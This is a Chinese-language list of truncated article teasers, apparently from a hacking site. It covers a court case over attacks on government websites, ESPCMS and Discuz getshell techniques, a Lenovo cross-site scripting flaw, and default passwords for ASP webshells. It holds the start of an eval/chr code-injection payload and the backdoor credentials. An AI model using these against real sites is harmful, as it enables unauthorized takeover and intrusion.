-
安徽四人购买黑客软件攻击政府网站获刑
经安徽省巢湖市居巢区检察院提起公诉,该区法院日前对巢湖市首例黑客攻击政府网站案作出一审判决,以破坏计算机信息系统罪判处王辉有期徒刑一年零三个月;以提供侵入、非法控制计算机信息系统程序、工具罪分别判处俞曙光有期徒刑九个月,并处罚金1.5万元;...
-
ESPCMS 0day漏洞分析及官方修复方法
发布日期:2011-01.17发布作者:★黑小子★影响版本:未知 官方网站:http://www.ecisp.cn漏洞类型:COOKIES欺骗漏洞描述:取得COOKIES后修改欺骗,进入后台上传jpg构造Getshell。代码分析:func...
-
联想搜索跨站漏洞及修复
修复:对查询的参数做过滤处理。。。漏洞证明:http://search.lenovo.com.cn/lenovo/searchMain.jsp?%20moreHitsFromSite=&category=&similarTo...
-
Discuz最新后台拿WEBSHELL
我们进入后台后。访问admincp.php?frames=yes&action=members&operation=newsletter然后发通知,通知内容为:(注意代码换行)${${eval(chr(102).chr(11...
-
各大Asp木马的万能密码
首先十三webshell9.0VIP版和漫步云端修改版,默认密码?x=x或?web=admin还有易思免杀ASP大马,密码?PageName=PageName黑羽黑客基地小马默认密码donqee或kaifeng朽木奥运版最新ASP木马(黑色...